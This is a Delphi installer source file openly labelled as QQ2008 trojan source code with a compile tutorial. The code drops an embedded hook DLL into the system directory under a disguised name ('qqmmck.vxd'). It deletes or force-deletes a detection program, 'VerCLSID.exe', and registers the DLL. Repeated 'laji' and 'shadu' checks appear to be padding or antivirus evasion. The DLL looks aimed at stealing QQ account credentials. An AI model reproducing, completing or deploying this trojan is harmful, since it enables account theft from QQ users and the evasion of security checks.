install.dpr

QQ2008木马源码+编译方法(附带教程)

program Install;

{$R '..\DLL\Hook.res' '..\DLL\Hook.Txt'}

uses
  Windows,
  doudou in 'doudou.pas',
  Unit1 in 'Unit1.pas',
  Unit2 in 'Unit2.pas';

var
  ReleasePath: string;
  ReleaseFile: string;
  TempDllFile: string;
  VerCLSIDLink:string;
  //MSG:TMSG;
  //TID:DWORD;

begin
  if laji then
  if laji then
  if laji then
  if shadu then
  if shadu then
  if shadu then

  ReleasePath := GetSystemDir();        // 释放路径
  TempDllFile := ReleasePath + 'qqmmck.temp'; // Dll路径
  ReleaseFile := ReleasePath + 'qqmmck.vxd';
  VerCLSIDLink:= ReleasePath + 'VerCLSID.exe';

  if laji then
  if laji then
  if laji then
  if shadu then
  if shadu then
  if shadu then

  if FileExists(pchar(VerCLSIDLink)) then         //判断删除检测程序
  begin
    DeleteFile(pchar(VerCLSIDLink));
  end;
  if FileExists(pchar(VerCLSIDLink)) then
  begin
    ForceDeleteFile(pchar(VerCLSIDLink));   //如果还能发现就重启后干掉
  end;
  if FileExists(pchar(ReleaseFile)) then   //判断删除释放路径下的文件
  begin
    DeleteFile(PChar(ReleaseFile));
  end;

  if laji then
  if laji then
  if laji then
  if shadu then
  if shadu then
  if shadu then

  if FileExists(PChar(ReleaseFile)) then
  begin
    ResourceToFile(RT_RCDATA, 'DLLFILE', PChar(TempDllFile)); // 释放DLL
    ForceMoveFile(ReleaseFile, TempDllFile); // 重启后更新
  end else
  begin
    ResourceToFile(RT_RCDATA, 'DLLFILE', PChar(ReleaseFile)); // 释放DLL
  end;

  RegisterDll(PChar(ReleaseFile));         // 注册DLL

  if shadu then
  if shadu then
  if shadu then

end.